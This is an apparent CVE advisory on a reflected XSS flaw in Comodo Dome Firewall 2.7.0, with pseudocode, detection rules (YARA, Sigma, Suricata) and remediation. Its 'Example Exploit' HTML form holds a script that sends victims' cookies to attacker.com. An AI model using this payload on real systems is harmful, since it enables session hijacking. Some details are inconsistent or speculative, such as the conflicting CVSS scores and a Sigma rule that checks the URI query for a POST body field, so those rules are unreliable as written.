CVE-2019-25430

Executive Summary

CVE-2019-25430 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. An unauthenticated attacker can inject arbitrary JavaScript into the username parameter of the /vpn_users endpoint. When a victim submits a crafted POST request, the script executes in their browser context, potentially leading to session hijacking, credential theft, or further exploitation. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the vector, it is a medium-severity issue. No official patch has been identified, and the vendor status is unknown.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction (e.g., clicking a crafted link) but can lead to significant impact if exploited in a social engineering campaign.

Deep Dive & Mechanics

The vulnerability resides in the /vpn_users endpoint of Comodo Dome Firewall 2.7.0. The username parameter is not properly sanitized before being reflected in the response. An attacker can craft a POST request with a malicious payload in the username field, such as:

POST /vpn_users HTTP/1.1
Host: target-firewall
Content-Type: application/x-www-form-urlencoded

username=<script>alert('XSS')</script>

When the server processes this request, it reflects the unsanitized input back to the client, causing the browser to execute the injected script. This is a classic reflected XSS vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (Comodo Dome Firewall 2.7.0): The server likely echoes the username parameter directly into the HTML response without encoding or validation.

# Pseudocode of vulnerable handler
def handle_vpn_users(request):
    username = request.POST.get('username')
    response = f"<html><body>User: {username}</body></html>"
    return response

Patched Code (Hypothetical): A patch would involve proper output encoding or input validation.

# Pseudocode of patched handler
import html

def handle_vpn_users(request):
    username = request.POST.get('username')
    safe_username = html.escape(username)
    response = f"<html><body>User: {safe_username}</body></html>"
    return response

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a Comodo Dome Firewall 2.7.0 in a lab environment.
2. Craft Payload: Create a malicious URL or form that sends a POST request to /vpn_users with a script payload.
3. Deliver: Use social engineering to trick a victim into clicking the crafted link or submitting the form.
4. Execute: The script executes in the victim's browser, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Example Exploit (HTML form):

<form action="http://target-firewall/vpn_users" method="POST">
  <input type="hidden" name="username" value="<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>">
  <input type="submit" value="Click me">
</form>

Blue Team

1. Monitor: Look for unusual POST requests to /vpn_users with script-like patterns in the username parameter.
2. Analyze: Inspect web server logs for encoded or suspicious payloads.
3. Respond: Block IPs sending malicious requests and alert on potential XSS attempts.

Indicators of Compromise (IOCs)

• Network: POST requests to /vpn_users with username parameter containing <script>, onerror, onload, or other JavaScript event handlers.
• Logs: Web server logs showing username=<script>...</script> or base64-encoded payloads.
• File: No specific file IOCs; this is a network-based attack.

Detection Engineering

YARA Rule

rule CVE_2019_25430_XSS {
    meta:
        description = "Detects reflected XSS attempts against Comodo Dome Firewall CVE-2019-25430"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25430"
    strings:
        $xss_payload = /username=<script[^>]*>.*<\/script>/i
        $xss_event = /username=.*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Comodo Dome Firewall
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /vpn_users with script payloads in the username parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/vpn_users'
        cs-uri-query|contains: 'username=<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in username (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25430 Reflected XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/vpn_users"; http_uri; content:"username="; http_client_body; pcre:"/username=<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: If possible, upgrade to a patched version of Comodo Dome Firewall. If no patch is available, consider implementing a Web Application Firewall (WAF) rule to block malicious payloads in the username parameter.
• Workaround: Disable the /vpn_users endpoint if not required, or restrict access to trusted IPs only.
• Long-term: Apply input validation and output encoding for all user-supplied data. Conduct regular security audits.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert